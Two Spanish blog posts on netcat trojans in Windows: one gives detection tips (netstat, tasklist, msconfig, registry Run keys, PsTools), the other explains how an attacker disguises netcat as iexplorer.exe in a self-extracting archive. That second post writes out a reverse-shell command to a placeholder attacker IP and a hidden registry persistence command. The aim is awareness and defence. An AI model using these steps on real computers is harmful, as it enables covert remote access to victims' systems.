Si sospechas que tienes un troyano...

Bueno, rápidamente que he salido a las 7:45 a.m. de casa y he vuelto a las 22:45 p.m.

Creo que el sábado dejé el tema de los troyanos sin explicar la detección. Ya vistéis lo fácil que es crear uno con algo tan sencillo como el netcat.

NETSTAT
Hablo de Windows, por lo que lo diré un poco de memoria. Así a bote pronto lo primero un netstat -a. El comando tienen sus opciones. Échales un vistazo. Una de ellas muy útil y reduce mucho el tiempo de espera.

Netstat básicamente nos muestra las conexiones abiertas estén o no establecidas en ese momento. Utiliza el firewall de Windows para controlar los puertos o descargate el que prefieras de Internet.

TASKLIST
También podemos revisar el famoso Task manager o ¿gestor de tareas?
En lugar del bonito Window te recomiendo la opción por línea de comando y luego te digo por qué. El comando se llama tasklist.

También tiene opciones la mar de interesantes como /M para ver las DLL-s, /SVC para ver la descripción de los servicios, etc.

MSCONFIG
Muy importante, no olvidar. Se pueden configurar algunas cositas del sistema y se pueden ver y deshabilitar muchos procesos y servicios que están en el arranque. También se accede a archivos de configuración que ha podido toquetear el troyano de los huevos.

EL MALDITO REGISTRO
Si, ya sabemos que esto es un poco más delicado. Ya hemos visto la técnica que utiliza el troyano, el registry add o algo así. Espera, que hago un copia pega:
reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run

Bueno, pues que menos que abrir el registro e ir a HKEYLOCALMACHINE, SOFTWARE\MICROSOFT \WINDOWS\CURRENTVERSION y revisar las entradas que encuentres...

Se me han agotado las ideas, pero seguro que hay más cosas. A ver si mañana navego un poco y aumento la lista.

Lo importante, tener una versión de la configuración antes del troyano. No cuesta nada hacer un ficherito .bat con:

cmd
netstat -a > netstat.txt
tasklist /M > tasklist-m.txt
tasklist /SVC > tasklist-svc.txt

Hay muchas opciones para salvar el registro. Se puede por línea de comandos también. Podéis verlo en http://windowsxp.mvps.org/registry.htm

Por supuesto, siempre recomendable el punto de restauración de Windows. JeJe, consejos vendo pero para mi no tengo: nunca he creado un punto de esos.

Ante todo prudencia al eliminar y deshabilitar cosas. No viene mal una búsqueda por ahí. Hay un montón de sitios con descripciones de procesos, servicios, dll-s, etc.

Por cierto, esto del tasklist me ha recordado las pstools. ¿Recordais como hace unas semanas os recomendé el pskill de Russinovich? Pues formaba parte de las pstools.

Cometí un pequeño error. Puse el enlace a las pstools 1.12 cuando ya está disponible la versión 2.44 desde hace algún tiempo.

Cómo podéis ver en la página de las pstools, con este paquetito podéis ejecutar por línea de comandos:

• psExec
• psFile
• psGetSid
• psInfo
• psKill
• psList
• psLoggedOn
• psLogList
• psPasswd
• psService
• psShutdown
• psSuspend
• psUptime

De esta forma vuestro Windows parece más un Linux y tiene más potencia (posibilidades de ejecutar cosas de forma sencilla).

Saludos.

Siguiendo con lo del troyano de ayer...

Ya habéis visto como hay que desconfiar un poco, y especialmente de los autoextraibles. Más o menos ocurre así:

Alguien nos ha cogido paquete. Tranquilo, no es culpa tuya, igual es que no le gusta tu equipo de fútbol. Se cree superior. Incluso puede ser superior ya que tiene demasiado tiempo libre. Además abusa de nuestra confianza. Nos dice algo como..."Oye, te paso esto a ver que te parece". Y tu vas con toda tu buena intención para que te cuele un troyano.

En el enlace que mostraba en el post anterior se ve como actúa el asaltante. Como a muchos os da pereza hacer clic hacía otro sitio, reproduzco con mis palabras como funciona el tema:

1.-Primero elige la víctima. A veces ni eso. Deja el troyano preparadito para que alguien pique.

2.-Luego un poco de ingenieria social para parecer un amigo que ofrece algo interesante (juego, software, etc.).

3.-Coge el netcat y lo transforma para que el atacado no llegue a sospechar. Por una parte le cambia el nombre y lo llama iexplorer.exe. Luego utiliza el ResHacker para cambiarle el icono. Lógicamente le pone el icono del iexplorer.

4.-Utiliza el winrar para preparar un archivo .sfx que es autoextraible.

4.1.-Pone como carpeta de extracción esta:
= %homedrive%%homepath%\update
En una carpeta de nombre update no llama demasiado la atención un fichero llamado iexplorer.exe.

4.1.-Hay un lugar para indicar que tras la extracción se ejecute algo. Ahí indica que se ejecute iexplorer.exe -d -e cmd.exe ip-atacante 80

La opción -d está disponible en el netcat para Windows. Lo que hace es que netcat pueda seguir a la escucha aunque no se mantenga abierta la ventana del interprete de comandos cmd.exe. Vamos, para evitar que el atacado se entere.

4.2.-En otro sitio se pone lo que hay que ejecutar antes de la extración. Aquí añade una entrada en el registro para que el troyano se ejecute cada vez que se arranca el PC:
= %windir%\system32\cmd /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%%homepath%\update\iexplorer.exe -d -e cmd.exe ip-atacante 80" /f > nul
Lo que hace es ejecutar el reg add que fuerza luego la ejecución del troyano en cada arranque. La redirección a nul es para que el atacante no vea el reg add.

Bueno, ya veis lo fácil que es que te cuelen un troyano. Y una vez colado puede acceder a la máquina incluidas las unidades de red todas las veces que quiera.

Ahora la pregunta lógica, yo tengo antivirus ¿estoy seguro? En el caso que hemos visto el antivirus debería darse cuenta que el fichero iexplorer.exe tiene un patrón muy coincidente (mejor dicho exacto) con el netcat y advertirnos de que es un posible troyano, pero quien sabe. Lo probaré el lunes porque en este Kubuntu no tengo antivirus.

Por si acaso es mejor que busquemos los troyanos nosotros mismos. Mañana digo cómo, que es sábado y salgo a cenar.

Saludos.